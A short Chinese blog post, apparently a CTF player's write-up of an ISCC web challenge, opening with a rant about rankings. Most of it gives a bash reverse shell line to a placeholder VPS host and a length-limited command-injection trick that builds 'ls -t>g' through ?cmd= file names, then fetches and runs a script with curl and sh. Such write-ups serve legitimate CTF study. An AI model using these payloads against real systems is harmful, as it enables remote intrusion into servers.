中午睡了一觉,醒来两点多了,发现几个群里又有人在黑我这个萌新菜比了…..然后用两个多小时ak了iscc放的题,这让我忍不住再次喷一波iscc…老子都ak了排名还5、60名…就因为昨天写红帽杯要交的wp没打….我真tm无语…算了算了不喷了。

开始今天的修炼!

在远程放好如下内容:

bash -c "bash -i >& /dev/tcp/vpsip/vpsport 0<&1 2>&1"

即可getshell。

开始操作!

写入 ls -t>g指令到_文件

?cmd=>ls\\    #创建ls\
?cmd=ls>_    #创建 _ 文件 文件内容为_ \n ls\ \n
?cmd=>\ \\    #创建 \空格 文件
?cmd=>-t\\    #创建 -t\ 文件
?cmd=>\>g    #创建 >g 文件
?cmd=ls>>_   #将刚刚创建的文件名按照字典序写入_文件 这里的字典序是特殊符号在ls\的前面 所以在生成ls\之后我们要先ls>_ 保证ls\在最前面

sh _间接执行ls -t>s

//curl yourvps:port>a
一样的思路写进文件,然后sh执行。
弹shell。

这是第一种解法。

嗯,先睡了。

 

分类: WEB学习

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注